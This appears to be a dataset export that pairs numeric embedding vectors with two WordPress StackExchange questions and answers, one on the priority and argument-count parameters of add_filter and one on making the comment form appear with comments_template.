-0.059661865234375,
0.01885986328125,
0.028656005859375,
-0.0010890960693359375,
-0.0201416015625,
0.0194091796875,
0.01458740234375,
0.006076812744140625,
-0.0177459716796875,
-0.035980224609375,
-0.034088134765625,
-0.0557861328125,
-0.01751708984375,
0.0152740478515625,
0.00402069091796875,
0.002899169921875,
0.0254974365234375,
0.035614013671875,
0.022552490234375,
0.037811279296875,
-0.0159454345703125,
0.08795166015625,
0.051483154296875,
-0.052978515625,
-0.0858154296875,
0.00933074951171875,
0.01117706298828125,
-0.0232391357421875,
0.00377655029296875,
0.08795166015625,
-0.0028438568115234375,
-0.0200958251953125,
0.01340484619140625,
0.0147247314453125,
0.025604248046875,
-0.025299072265625,
-0.01406097412109375,
0.03460693359375,
-0.02740478515625,
-0.037750244140625,
0.0125885009765625,
0.0012264251708984375,
-0.0290069580078125,
-0.00592041015625,
0.036407470703125,
-0.01462554931640625,
0.030670166015625,
-0.043365478515625,
0.004459381103515625,
0.0159149169921875,
0.0209808349609375,
-0.07342529296875,
0.046142578125,
-0.001194000244140625,
0.0244293212890625,
-0.013519287109375,
-0.017303466796875,
0.005527496337890625,
0.01006317138671875,
-0.021392822265625,
-0.0163116455078125,
-0.028717041015625,
-0.003078460693359375,
-0.0237274169921875,
0.041168212890625,
0.05267333984375,
-0.01305389404296875,
0.0242462158203125,
0.0273895263671875,
0.0077362060546875,
0.09967041015625,
-0.0908203125,
-0.0231170654296875,
-0.015228271484375,
0.00440216064453125,
-0.0238189697265625,
-0.02105712890625,
0.034820556640625,
-0.040802001953125,
-0.04083251953125,
-0.0223846435546875,
0.0020885467529296875,
0.0038814544677734375,
-0.047393798828125,
-0.06451416015625,
0.049346923828125,
0.0009403228759765625,
-0.029998779296875,
0.0146331787109375,
-0.001323699951171875,
0.00490570068359375,
-0.01529693603515625,
0.0152740478515625,
-0.036773681640625,
-0.0261993408203125,
-0.0109710693359375,
0.0119171142578125,
-0.0169677734375,
0.0266876220703125,
-0.0022258758544921875,
-0.06951904296875,
-0.003902435302734375,
-0.0060882568359375,
0.006969451904296875,
-0.015777587890625,
0.0214996337890625,
0.0124359130859375,
0.0200042724609375,
-0.0275421142578125,
-0.0009479522705078125,
-0.0036640167236328125,
0.01119232177734375,
-0.03314208984375,
-0.0193939208984375,
-0.0028629302978515625,
-0.006275177001953125,
0.07861328125,
-0.0002224445343017578,
0.01148223876953125,
-0.016357421875,
-0.0188446044921875,
-0.044158935546875,
-0.013885498046875,
-0.0160064697265625,
0.0169219970703125,
-0.0771484375,
-0.0212249755859375,
0.020721435546875,
-0.0139312744140625,
-0.008087158203125,
-0.0067138671875,
-0.0309295654296875,
-0.00801849365234375,
0.0016632080078125,
0.007534027099609375,
-0.0203094482421875,
-0.022308349609375,
0.06829833984375,
-0.0228729248046875,
0.035247802734375,
-0.016876220703125,
0.017791748046875,
0.06622314453125,
0.02264404296875,
-0.010498046875,
0.01453399658203125,
-0.021697998046875,
0.009429931640625,
-0.0025787353515625,
-0.0203094482421875,
-0.0316162109375,
0.01788330078125,
-0.018585205078125,
0.0050811767578125,
-0.0086822509765625,
-0.0052642822265625,
0.01446533203125,
0.01385498046875,
0.0000616908073425293,
0.0291290283203125,
-0.01983642578125,
0.0145111083984375,
-0.01326751708984375,
0.0201568603515625,
-0.00021886825561523438,
-0.01044464111328125,
0.034027099609375,
-0.046234130859375,
0.016326904296875,
0.0012121200561523438,
-0.006366729736328125,
-0.0081024169921875,
0.006561279296875,
-0.04095458984375,
-0.025177001953125,
0.0037593841552734375
] |
194d645f99091671bc4df7151343936de38e0771
|
Wordpress Stackexchange
Q: What does (10, 2) mean when used with add_filter Please tell my what is 10, 2 in below mention code:
add_filter('nav_menu_css_class', 'add_active_class', 10, 2 );
function add_active_class($classes, $item) {
if($item->menu_item_parent == 0 && in_array('current-menu-item', $classes)) {
$classes[] = "active";
}
return $classes;
}
A: Have a look at the codex page for add_filter.
The 10 is the $priority parameter (10 is default) which defines when your function will run in regards to the other functions which are attached to the nav_menu_css_class filter. 2 is the $accepted_args parameter which tells wordpress how many parameters the function you want to add will take. In this case your add_active_class function can take 2 parameters ($classes and $item).
|
Q: What does (10, 2) mean when used with add_filter Please tell my what is 10, 2 in below mention code:
add_filter('nav_menu_css_class', 'add_active_class', 10, 2 );
function add_active_class($classes, $item) {
if($item->menu_item_parent == 0 && in_array('current-menu-item', $classes)) {
$classes[] = "active";
}
return $classes;
}
A: Have a look at the codex page for add_filter.
The 10 is the $priority parameter (10 is default) which defines when your function will run in regards to the other functions which are attached to the nav_menu_css_class filter. 2 is the $accepted_args parameter which tells wordpress how many parameters the function you want to add will take. In this case your add_active_class function can take 2 parameters ($classes and $item).
|
wordpress
|
{
"language": "en",
"length": 115,
"provenance": "stackexchange_00019.jsonl.gz:437676",
"question_score": "7",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/116016"
}
|
[
0.0809326171875,
0.003032684326171875,
0.019287109375,
-0.0479736328125,
0.043670654296875,
-0.0268402099609375,
0.057830810546875,
-0.0174102783203125,
0.01439666748046875,
-0.00366973876953125,
-0.03515625,
0.001499176025390625,
-0.036102294921875,
-0.03369140625,
-0.0022258758544921875,
-0.04034423828125,
0.00786590576171875,
-0.004150390625,
-0.0213623046875,
-0.02056884765625,
-0.0095062255859375,
-0.0190277099609375,
-0.01180267333984375,
0.0318603515625,
0.01568603515625,
-0.062469482421875,
0.0287322998046875,
-0.044158935546875,
0.022552490234375,
-0.000033855438232421875,
-0.0032138824462890625,
0.0011310577392578125,
-0.0084228515625,
0.040130615234375,
0.0048980712890625,
0.001007080078125,
0.0166015625,
0.0051727294921875,
0.0069122314453125,
0.02569580078125,
0.051513671875,
-0.030792236328125,
-0.00617218017578125,
-0.005893707275390625,
-0.01065826416015625,
-0.0278167724609375,
0.06353759765625,
0.0038013458251953125,
-0.01065826416015625,
-0.043548583984375,
0.0125579833984375,
-0.010772705078125,
0.040771484375,
-0.058197021484375,
-0.0024089813232421875,
0.01363372802734375,
0.0210113525390625,
-0.02935791015625,
0.0099029541015625,
0.038238525390625,
0.00015723705291748047,
0.034637451171875,
-0.0035953521728515625,
-0.041656494140625,
0.0225067138671875,
0.003612518310546875,
0.00954437255859375,
0.0222930908203125,
-0.005977630615234375,
0.01678466796875,
0.006458282470703125,
-0.0239715576171875,
-0.0190887451171875,
0.0017213821411132812,
-0.005161285400390625,
-0.054656982421875,
0.01641845703125,
-0.04119873046875,
0.0121307373046875,
0.047088623046875,
0.0301513671875,
0.053955078125,
-0.0298004150390625,
0.0157318115234375,
-0.005126953125,
0.039886474609375,
-0.0140228271484375,
-0.0433349609375,
0.01174163818359375,
-0.00925445556640625,
-0.0035648345947265625,
-0.0264434814453125,
0.031402587890625,
-0.01406097412109375,
-0.020294189453125,
-0.049713134765625,
0.012237548828125,
0.04949951171875,
0.0085906982421875,
0.05517578125,
-0.020904541015625,
-0.033447265625,
0.049163818359375,
-0.06256103515625,
0.0045166015625,
0.04559326171875,
-0.003330230712890625,
0.050384521484375,
0.042327880859375,
0.017425537109375,
0.0101165771484375,
-0.002666473388671875,
0.01174163818359375,
-0.036285400390625,
-0.0233154296875,
-0.040435791015625,
-0.0266876220703125,
-0.0024814605712890625,
0.01397705078125,
-0.06951904296875,
-0.004169464111328125,
0.0106658935546875,
0.01544952392578125,
-0.00939178466796875,
0.024322509765625,
0.01210784912109375,
-0.021575927734375,
-0.0105133056640625,
0.00922393798828125,
-0.0035343170166015625,
-0.01206207275390625,
0.03515625,
0.0222320556640625,
-0.0018768310546875,
-0.0219879150390625,
0.007114410400390625,
0.0540771484375,
0.00592803955078125,
-0.0055694580078125,
0.011138916015625,
0.0157623291015625,
-0.0182037353515625,
-0.030609130859375,
0.01558685302734375,
0.0295257568359375,
0.01515960693359375,
0.00167083740234375,
-0.0015439987182617188,
0.01166534423828125,
-0.0335693359375,
0.045867919921875,
-0.08233642578125,
0.042205810546875,
0.0245819091796875,
-0.08050537109375,
0.07843017578125,
-0.031463623046875,
0.025726318359375,
-0.08477783203125,
-0.00396728515625,
-0.007598876953125,
-0.001209259033203125,
0.02294921875,
-0.08038330078125,
-0.0643310546875,
-0.03179931640625,
-0.052947998046875,
-0.00626373291015625,
0.01428985595703125,
-0.061309814453125,
-0.0221405029296875,
0.01186370849609375,
0.0241851806640625,
0.0048828125,
0.0096588134765625,
0.046600341796875,
0.0005764961242675781,
0.04754638671875,
0.0149993896484375,
-0.00345611572265625,
-0.0116729736328125,
-0.044342041015625,
0.07232666015625,
-0.022247314453125,
-0.02020263671875,
-0.00485992431640625,
0.007587432861328125,
0.01505279541015625,
0.0108642578125,
0.006847381591796875,
0.01806640625,
0.01209259033203125,
-0.0234375,
-0.030426025390625,
-0.0003159046173095703,
-0.0006880760192871094,
-0.0231781005859375,
-0.00698089599609375,
-0.006534576416015625,
0.025482177734375,
0.048370361328125,
0.00824737548828125,
-0.004543304443359375,
-0.054718017578125,
-0.0767822265625,
-0.01291656494140625,
-0.0242767333984375,
0.049560546875,
-0.025390625,
0.0080718994140625,
-0.005340576171875,
-0.029937744140625,
0.02197265625,
-0.044891357421875,
-0.004306793212890625,
0.01197052001953125,
-0.016021728515625,
0.0185546875,
-0.0172119140625,
0.016876220703125,
-0.05841064453125,
-0.01165771484375,
-0.059783935546875,
-0.006195068359375,
0.0594482421875,
-0.008575439453125,
-0.01145172119140625,
-0.00418853759765625,
0.06170654296875,
-0.0005664825439453125,
0.0048828125,
0.033599853515625,
0.06005859375,
0.076171875,
-0.0035305023193359375,
-0.0016241073608398438,
0.007534027099609375,
-0.0731201171875,
-0.0027828216552734375,
0.03900146484375,
0.034942626953125,
0.02081298828125,
0.0157623291015625,
0.0030803680419921875,
0.056793212890625,
-0.0213165283203125,
0.01456451416015625,
-0.0179290771484375,
-0.058502197265625,
-0.0214996337890625,
0.0254364013671875,
0.005626678466796875,
0.0171356201171875,
-0.054351806640625,
-0.020843505859375,
0.031463623046875,
-0.0280303955078125,
-0.02789306640625,
-0.006561279296875,
0.0036525726318359375,
0.01116180419921875,
-0.039031982421875,
-0.02423095703125,
-0.01105499267578125,
0.0024051666259765625,
0.01837158203125,
0.014892578125,
0.0155181884765625,
-0.0093994140625,
0.00013530254364013672,
0.0233917236328125,
0.00951385498046875,
0.0019931793212890625,
0.00008362531661987305,
-0.0911865234375,
0.005863189697265625,
0.00222015380859375,
0.0297393798828125,
-0.0312042236328125,
-0.04327392578125,
-0.041778564453125,
0.0182952880859375,
0.004486083984375,
-0.03515625,
-0.0199432373046875,
-0.007843017578125,
0.0146484375,
-0.0701904296875,
-0.00872039794921875,
-0.022125244140625,
0.030426025390625,
-0.02972412109375,
-0.04229736328125,
0.022186279296875,
-0.0125274658203125,
-0.045074462890625,
0.0667724609375,
0.04486083984375,
-0.00868988037109375,
0.02105712890625,
0.0291595458984375,
0.01465606689453125,
-0.021881103515625,
-0.00897979736328125,
-0.0077667236328125,
0.01436614990234375,
-0.0060577392578125,
-0.00293731689453125,
-0.0076751708984375,
-0.0135498046875,
0.01021575927734375,
0.06756591796875,
0.00405120849609375,
-0.00806427001953125,
-0.020111083984375,
-0.04248046875,
-0.04571533203125,
-0.0307769775390625,
-0.08056640625,
-0.02838134765625,
0.007411956787109375,
-0.039093017578125,
-0.01006317138671875,
0.01412200927734375,
-0.0218048095703125,
-0.0025005340576171875,
0.0218505859375,
0.00894927978515625,
-0.0254669189453125,
0.0027904510498046875,
-0.016754150390625,
-0.00981903076171875,
-0.025787353515625,
0.020172119140625,
-0.010650634765625,
0.0033721923828125,
0.01546478271484375,
0.06646728515625,
0.01442718505859375,
-0.016845703125,
0.058013916015625,
-0.0430908203125,
-0.00678253173828125,
0.046417236328125,
0.002651214599609375,
-0.0225372314453125,
-0.007747650146484375,
0.0106048583984375,
0.015106201171875,
0.00978851318359375,
-0.01166534423828125,
-0.006298065185546875,
-0.017333984375,
0.0673828125,
0.0004253387451171875,
0.033782958984375,
0.04913330078125,
0.06768798828125,
0.02154541015625,
-0.002750396728515625,
0.0208740234375,
-0.0267791748046875,
-0.005435943603515625,
0.00897216796875,
-0.0010013580322265625,
0.01099395751953125,
-0.0128936767578125,
0.0196685791015625,
-0.049346923828125,
-0.0277252197265625,
0.0177154541015625,
-0.06494140625,
0.080078125,
-0.016387939453125,
-0.018768310546875,
0.0011835098266601562,
0.0509033203125,
-0.0035610198974609375,
0.0015392303466796875,
0.0262298583984375,
0.0005354881286621094,
-0.0026378631591796875,
0.00714111328125,
-0.0394287109375,
-0.039215087890625,
0.048309326171875,
0.0257415771484375,
0.0193023681640625,
-0.00321197509765625,
-0.036163330078125,
-0.0001723766326904297,
0.08770751953125,
-0.038421630859375,
-0.047119140625,
-0.03009033203125,
0.0237884521484375,
0.02899169921875,
-0.06768798828125,
0.059478759765625,
-0.04754638671875,
-0.07513427734375,
0.004276275634765625,
-0.026824951171875,
-0.0304718017578125,
-0.0296478271484375,
-0.047698974609375,
-0.061370849609375,
-0.03741455078125,
0.047607421875,
-0.020477294921875,
-0.006786346435546875,
0.0272674560546875,
-0.0026302337646484375,
-0.02215576171875,
-0.0282135009765625,
0.0082244873046875,
-0.0660400390625,
-0.010467529296875,
-0.0244598388671875,
0.070556640625,
0.0123138427734375,
0.027008056640625,
-0.0002186298370361328,
0.05755615234375,
0.022064208984375,
0.07061767578125,
-0.0170745849609375,
-0.01183319091796875,
0.039031982421875,
-0.023529052734375,
0.001422882080078125,
-0.01033782958984375,
0.00980377197265625,
-0.00360107421875,
-0.053955078125,
-0.0531005859375,
-0.0309906005859375,
-0.0308074951171875,
0.021392822265625,
-0.048492431640625,
-0.08392333984375,
-0.0509033203125,
-0.004917144775390625,
0.01116180419921875,
-0.0233917236328125,
0.0254974365234375,
-0.0396728515625,
-0.06689453125,
0.0269317626953125,
-0.0167694091796875,
-0.0183563232421875,
0.00893402099609375,
0.052459716796875,
0.019561767578125,
-0.0263671875,
-0.00982666015625,
0.0223846435546875,
0.017181396484375,
-0.0169677734375,
0.053985595703125,
0.0034236907958984375,
-0.0124969482421875,
0.03387451171875,
-0.0173797607421875,
0.02142333984375,
-0.04656982421875,
0.04351806640625,
0.01165008544921875,
0.015838623046875,
-0.009185791015625,
0.0152130126953125,
0.034881591796875,
-0.023834228515625,
-0.0163116455078125,
-0.02020263671875,
-0.01169586181640625,
0.06463623046875,
0.01348114013671875,
0.01018524169921875,
-0.05029296875,
0.006580352783203125,
-0.003009796142578125,
-0.01351165771484375,
0.07208251953125,
0.049530029296875,
0.0008063316345214844,
0.027587890625,
0.00872802734375,
0.0309600830078125,
-0.006252288818359375,
0.0364990234375,
-0.035308837890625,
0.054901123046875,
0.0002205371856689453,
0.004940032958984375,
-0.01412200927734375,
0.00901031494140625,
0.0347900390625,
-0.0160369873046875,
-0.038360595703125,
-0.025909423828125,
0.019805908203125,
0.0231781005859375,
0.02362060546875,
0.0004780292510986328,
0.0232696533203125,
0.01360321044921875,
-0.0259552001953125,
-0.0238494873046875,
-0.004695892333984375,
-0.009613037109375,
-0.04150390625,
0.046051025390625,
0.02557373046875,
-0.0233612060546875,
-0.00798797607421875,
0.0016565322875976562,
0.06451416015625,
-0.048065185546875,
-0.0200347900390625,
-0.0265350341796875,
-0.0189361572265625,
0.025054931640625,
0.0021076202392578125,
0.003871917724609375,
0.02099609375,
0.0245513916015625,
0.083740234375,
-0.0158233642578125,
0.0027980804443359375,
0.009552001953125,
0.0015583038330078125,
0.0023479461669921875,
0.01047515869140625,
0.0120391845703125,
0.0207977294921875,
-0.0184326171875,
-0.0040283203125,
-0.004253387451171875,
-0.00772857666015625,
-0.0311737060546875,
-0.039642333984375,
0.0032901763916015625,
0.0162506103515625,
-0.0164337158203125,
0.0230865478515625,
0.00670623779296875,
0.034027099609375,
0.0218963623046875,
-0.0019397735595703125,
0.01096343994140625,
0.01467132568359375,
-0.0234222412109375,
0.019378662109375,
0.036407470703125,
-0.0826416015625,
-0.046783447265625,
-0.0118865966796875,
-0.0240478515625,
0.06976318359375,
-0.0079345703125,
0.059417724609375,
-0.00928497314453125,
-0.044036865234375,
0.0112457275390625,
0.0177764892578125,
0.00525665283203125,
-0.0006284713745117188,
0.027923583984375,
-0.01003265380859375,
-0.033660888671875,
-0.023895263671875,
-0.04925537109375,
-0.0655517578125,
0.0021114349365234375,
-0.01142120361328125,
-0.03106689453125,
0.0053253173828125,
0.00905609130859375,
0.01593017578125,
-0.0101470947265625,
0.03216552734375,
0.01007843017578125,
0.007030487060546875,
-0.004608154296875,
0.0548095703125,
-0.006542205810546875,
0.01038360595703125,
0.01224517822265625,
0.007312774658203125,
-0.035919189453125,
0.00893402099609375,
0.0098419189453125,
0.004638671875,
-0.0296630859375,
-0.008270263671875,
-0.044830322265625,
-0.020416259765625,
0.06842041015625,
-0.0203704833984375,
0.050811767578125,
-0.00418853759765625,
0.009674072265625,
-0.005878448486328125,
-0.051971435546875,
-0.0214996337890625,
0.016204833984375,
0.0302886962890625,
-0.0109710693359375,
0.055633544921875,
0.014190673828125,
0.03729248046875,
0.0024261474609375,
-0.0484619140625,
0.03509521484375,
0.002162933349609375,
-0.042572021484375,
0.048248291015625,
0.0421142578125,
0.0030059814453125,
0.038482666015625,
0.0008339881896972656,
0.0298919677734375,
0.017364501953125,
-0.03265380859375,
-0.004772186279296875,
0.060760498046875,
0.0697021484375,
-0.01392364501953125,
-0.017852783203125,
0.03155517578125,
-0.0253143310546875,
0.0213470458984375,
0.0237884521484375,
0.06591796875,
-0.038543701171875,
0.0015058517456054688,
-0.004856109619140625,
-0.040069580078125,
0.03924560546875,
0.005889892578125,
-0.00433349609375,
-0.017059326171875,
0.035552978515625,
-0.01556396484375,
-0.01497650146484375,
0.0308074951171875,
-0.005313873291015625,
-0.0020198822021484375,
-0.0303955078125,
-0.042144775390625,
-0.0262298583984375,
0.0032024383544921875,
-0.0150604248046875,
-0.0021648406982421875,
-0.01611328125,
0.0015897750854492188,
0.0089263916015625,
0.03076171875,
-0.021026611328125,
-0.05352783203125,
0.012542724609375,
-0.047271728515625,
-0.0175018310546875,
0.0258331298828125,
-0.0261993408203125,
0.0369873046875,
0.0269622802734375,
-0.026611328125,
0.035003662109375,
-0.006229400634765625,
0.0095062255859375,
-0.0309906005859375,
-0.043853759765625,
0.0252685546875,
-0.0227813720703125,
-0.0416259765625,
0.02606201171875,
-0.0103302001953125,
-0.07318115234375,
0.01251220703125,
-0.0178985595703125,
0.035491943359375,
-0.0307464599609375,
-0.0024700164794921875,
0.037109375,
-0.031341552734375,
-0.00952911376953125,
0.0024776458740234375,
0.0298004150390625,
-0.045562744140625,
-0.0277099609375,
0.0200347900390625,
-0.0115966796875,
0.01532745361328125,
0.0187530517578125,
-0.0085296630859375,
0.006771087646484375,
-0.00446319580078125,
-0.041259765625,
-0.001537322998046875,
0.024444580078125,
-0.0151519775390625,
0.01163482666015625,
-0.02569580078125,
0.0222015380859375,
-0.023040771484375,
-0.0064697265625,
-0.0267333984375,
0.0301361083984375,
-0.034210205078125,
-0.0184783935546875,
-0.02008056640625,
-0.004947662353515625,
-0.050262451171875,
0.0051116943359375,
0.0570068359375,
0.0233001708984375,
0.0389404296875,
0.03411865234375,
-0.0213165283203125,
-0.0293731689453125,
0.0041046142578125,
-0.03729248046875,
0.00782012939453125,
-0.034271240234375,
-0.0095672607421875,
-0.00847625732421875,
-0.0092315673828125,
0.009429931640625,
-0.0017900466918945312,
0.057830810546875,
0.01531982421875,
-0.0184478759765625,
-0.0008606910705566406,
-0.056640625,
-0.03131103515625,
0.035369873046875,
-0.026336669921875,
0.0030841827392578125,
-0.013885498046875,
-0.0253753662109375,
0.017974853515625,
-0.0013275146484375,
0.02227783203125,
0.056793212890625,
0.028472900390625,
0.01413726806640625,
0.045562744140625,
0.034027099609375,
0.036376953125,
-0.0140228271484375,
0.046661376953125,
0.0262603759765625,
0.0285186767578125,
-0.0258941650390625,
-0.00272369384765625,
0.00720977783203125,
0.051177978515625,
-0.039215087890625,
-0.0021343231201171875,
0.007476806640625,
0.0169677734375,
0.009552001953125,
-0.0032711029052734375,
0.035064697265625,
-0.06201171875,
-0.0242156982421875,
-0.043609619140625,
0.004695892333984375,
0.0265655517578125,
-0.0217437744140625,
-0.00368499755859375,
0.021209716796875,
0.00742340087890625,
0.038360595703125,
-0.0645751953125,
0.0203857421875,
0.006038665771484375,
0.071044921875,
0.03912353515625,
0.05059814453125,
-0.02178955078125,
-0.035308837890625,
-0.017974853515625,
0.007488250732421875,
-0.00933837890625,
0.01207733154296875,
-0.022125244140625,
-0.00347137451171875,
-0.0179901123046875,
0.0274505615234375,
0.0322265625,
0.0158538818359375,
0.036590576171875,
0.0010766983032226562,
-0.03167724609375,
0.0008015632629394531,
0.002368927001953125,
-0.036712646484375,
-0.039703369140625,
-0.0250396728515625,
0.005565643310546875,
0.0355224609375,
0.0083465576171875,
0.0220489501953125,
-0.02740478515625,
0.059783935546875,
-0.0018529891967773438,
-0.046478271484375,
0.0170745849609375,
-0.0293426513671875,
0.047271728515625,
0.040679931640625,
-0.01175689697265625,
0.0250091552734375,
-0.11236572265625,
0.00908660888671875,
-0.088134765625,
-0.0836181640625,
0.0711669921875,
0.055023193359375,
-0.01432037353515625,
0.01186370849609375,
0.0194244384765625,
-0.025970458984375,
-0.00930023193359375,
0.01197052001953125,
0.021820068359375,
0.043304443359375,
0.00836181640625,
0.0252227783203125,
-0.032684326171875,
0.0018138885498046875,
-0.0054931640625,
0.0004496574401855469,
0.030029296875,
0.031402587890625,
0.0160369873046875,
0.00888824462890625,
0.00502777099609375,
-0.0203704833984375,
0.01206207275390625,
0.0045928955078125,
0.005619049072265625,
0.002895355224609375,
-0.004627227783203125,
-0.001766204833984375,
-0.01229095458984375,
-0.007808685302734375,
0.061309814453125,
-0.0565185546875,
0.007740020751953125,
-0.00008630752563476562,
0.0194244384765625,
-0.058013916015625,
0.04925537109375,
-0.020172119140625,
-0.005283355712890625,
-0.035797119140625,
-0.03955078125,
0.032501220703125,
0.0137481689453125,
0.029937744140625,
0.003765106201171875,
0.0596923828125,
0.0012521743774414062,
0.02044677734375,
0.030364990234375,
0.050262451171875,
0.028717041015625,
-0.0209197998046875,
-0.002902984619140625,
-0.00797271728515625,
-0.0156402587890625,
0.00807952880859375,
0.004711151123046875,
0.00363922119140625,
0.01319122314453125,
-0.0333251953125,
0.044036865234375,
0.04669189453125,
0.059814453125,
-0.0287933349609375,
0.0167236328125,
0.05914306640625,
-0.0016765594482421875,
-0.01186370849609375,
0.01071929931640625,
-0.0254669189453125,
-0.036529541015625,
-0.032501220703125,
-0.0147857666015625,
-0.04437255859375,
-0.057861328125,
-0.05316162109375,
0.0147857666015625,
0.0274658203125,
-0.01230621337890625,
-0.0374755859375,
0.005649566650390625,
-0.023681640625,
0.0714111328125,
-0.0293731689453125,
-0.016265869140625,
-0.0169677734375,
-0.0153045654296875,
-0.027984619140625,
-0.0171356201171875,
-0.048126220703125,
0.03314208984375,
-0.020721435546875,
0.0107574462890625,
0.0308074951171875,
-0.009552001953125,
0.00579071044921875,
0.0015306472778320312,
-0.0163726806640625,
0.050811767578125,
-0.07232666015625,
-0.0281524658203125,
0.0256195068359375,
-0.0106964111328125,
0.004108428955078125,
-0.0423583984375,
-0.019500732421875,
-0.00604248046875,
0.00464630126953125,
0.0032100677490234375,
-0.0070953369140625,
0.005462646484375,
-0.0249786376953125,
-0.03515625,
0.045501708984375,
0.009033203125,
-0.020965576171875,
-0.030242919921875,
-0.0026454925537109375,
-0.0221099853515625,
0.025848388671875,
-0.0016317367553710938,
-0.04071044921875,
0.0129241943359375,
0.05401611328125,
-0.0273284912109375,
0.045074462890625,
-0.0001456737518310547,
-0.01332855224609375,
-0.031982421875,
-0.0120849609375,
-0.0229034423828125,
-0.021484375,
0.019866943359375,
-0.02325439453125,
0.05859375,
0.05877685546875,
-0.0036373138427734375,
0.0256805419921875,
0.00835418701171875,
-0.05078125,
0.0165863037109375,
-0.02862548828125,
-0.03485107421875,
-0.04449462890625,
0.055450439453125,
-0.037994384765625,
0.0160064697265625,
0.009613037109375,
-0.04595947265625,
-0.031707763671875,
-0.01132965087890625,
0.008270263671875,
0.0166168212890625,
-0.053009033203125,
0.005084991455078125,
0.014129638671875,
0.0164642333984375,
-0.001735687255859375,
0.0287017822265625,
0.000194549560546875,
-0.0104827880859375,
0.048431396484375,
0.01476287841796875,
-0.082275390625,
-0.0501708984375,
0.005107879638671875,
-0.0122833251953125,
-0.0200653076171875,
0.01139068603515625,
0.0183563232421875,
-0.0264739990234375,
0.0687255859375,
-0.003391265869140625,
0.0000029206275939941406,
-0.022979736328125,
-0.01132965087890625,
0.005764007568359375,
0.02410888671875,
0.0008645057678222656,
-0.004909515380859375,
0.005168914794921875,
0.0031490325927734375,
0.004627227783203125,
-0.01004791259765625,
-0.006839752197265625,
0.0249176025390625,
-0.01313018798828125,
0.048828125,
0.0107879638671875,
0.057281494140625,
-0.0008440017700195312,
0.060272216796875,
-0.0137481689453125,
-0.037353515625,
-0.0038318634033203125,
-0.04791259765625,
-0.0178985595703125,
0.005496978759765625,
-0.04388427734375,
-0.0694580078125,
0.039031982421875,
0.006092071533203125,
0.008819580078125,
0.033203125
] |
6b387b1520e949c4175e4bd5cd52475f0b1364a2
|
Wordpress Stackexchange
Q: How to enable comments options?
*
*On page --> Screen Options --> check Discussion --> Discussion --> Allow commets --> I have checked on discussion options.
*Settings --> Discussion --> I have checked on Allow people to post comments on new articles.
*I also have this code in my theme: <?php comments_template(); ?>
But the comment form is still not visible. What else do I have to do?
A: Go to the page.php template of your theme and check if <?php comments_template(); ?> is added there. If it isn't, then you need to add this line below your page content rendering section.
|
Q: How to enable comments options?
*
*On page --> Screen Options --> check Discussion --> Discussion --> Allow commets --> I have checked on discussion options.
*Settings --> Discussion --> I have checked on Allow people to post comments on new articles.
*I also have this code in my theme: <?php comments_template(); ?>
But the comment form is still not visible. What else do I have to do?
A: Go to the page.php template of your theme and check if <?php comments_template(); ?> is added there. If it isn't, then you need to add this line below your page content rendering section.
|
wordpress
|
{
"language": "en",
"length": 103,
"provenance": "stackexchange_00019.jsonl.gz:437723",
"question_score": "3",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/116186"
}
|
[
0.0550537109375,
-0.0216217041015625,
0.0083465576171875,
-0.0149078369140625,
0.0017795562744140625,
-0.0297698974609375,
0.059539794921875,
-0.01044464111328125,
0.004268646240234375,
0.01483154296875,
-0.060333251953125,
-0.01153564453125,
-0.00885009765625,
-0.004001617431640625,
-0.0224456787109375,
-0.06732177734375,
0.0291595458984375,
0.01302337646484375,
0.0287933349609375,
-0.011566162109375,
0.0254669189453125,
0.01175689697265625,
0.0011577606201171875,
0.08184814453125,
0.0229034423828125,
-0.0243072509765625,
0.08880615234375,
-0.0160064697265625,
0.03155517578125,
-0.01165008544921875,
0.0338134765625,
-0.0308685302734375,
-0.0006995201110839844,
0.026885986328125,
-0.0127716064453125,
-0.0036754608154296875,
0.004016876220703125,
0.0031108856201171875,
-0.0015506744384765625,
0.03265380859375,
0.039031982421875,
-0.024658203125,
-0.0121307373046875,
0.01678466796875,
-0.0157928466796875,
-0.03125,
0.027923583984375,
-0.039703369140625,
0.02532958984375,
-0.038970947265625,
0.019744873046875,
0.00022220611572265625,
0.036224365234375,
-0.01227569580078125,
-0.02435302734375,
0.0005984306335449219,
-0.02838134765625,
0.02398681640625,
0.03082275390625,
-0.00635528564453125,
-0.01006317138671875,
0.003925323486328125,
0.016357421875,
0.01303863525390625,
0.007350921630859375,
0.00799560546875,
0.040130615234375,
0.0275726318359375,
-0.01294708251953125,
0.0128936767578125,
0.0176544189453125,
-0.033111572265625,
0.0266265869140625,
-0.04364013671875,
0.04071044921875,
-0.006412506103515625,
-0.0209808349609375,
-0.01183319091796875,
0.039398193359375,
0.0079193115234375,
0.02508544921875,
0.013763427734375,
-0.006427764892578125,
-0.01488494873046875,
0.02581787109375,
-0.00305938720703125,
-0.00839996337890625,
-0.033599853515625,
-0.004974365234375,
-0.005649566650390625,
-0.019561767578125,
-0.04248046875,
-0.009552001953125,
0.0318603515625,
0.002197265625,
-0.0164947509765625,
0.03204345703125,
0.07373046875,
-0.0244293212890625,
-0.015472412109375,
-0.0011453628540039062,
-0.0243682861328125,
0.00550079345703125,
-0.03704833984375,
0.00592803955078125,
0.0222930908203125,
-0.01476287841796875,
-0.01049041748046875,
0.0277252197265625,
0.0162353515625,
-0.006702423095703125,
0.004611968994140625,
-0.0105438232421875,
-0.0273284912109375,
-0.01617431640625,
0.01241302490234375,
-0.031646728515625,
0.0097198486328125,
0.0126800537109375,
0.0119171142578125,
0.0207061767578125,
0.053680419921875,
-0.0256195068359375,
-0.0272674560546875,
0.00627899169921875,
-0.00826263427734375,
-0.00762176513671875,
-0.0233154296875,
-0.00876617431640625,
-0.0004982948303222656,
-0.01023101806640625,
0.0288848876953125,
0.01172637939453125,
0.00873565673828125,
-0.034820556640625,
-0.009368896484375,
0.0089263916015625,
-0.0117034912109375,
-0.021575927734375,
0.030609130859375,
0.0017671585083007812,
-0.032318115234375,
0.0195465087890625,
0.010009765625,
-0.01178741455078125,
0.01041412353515625,
0.034423828125,
0.0174560546875,
-0.01947021484375,
-0.05670166015625,
-0.0173187255859375,
0.0170135498046875,
0.0132293701171875,
0.0027618408203125,
0.00746917724609375,
-0.03997802734375,
-0.006198883056640625,
-0.0174102783203125,
0.0238494873046875,
-0.0236968994140625,
0.01137542724609375,
0.0225677490234375,
0.015869140625,
-0.0445556640625,
-0.035736083984375,
-0.060150146484375,
-0.024810791015625,
-0.00739288330078125,
0.022247314453125,
0.022491455078125,
-0.0175323486328125,
-0.049407958984375,
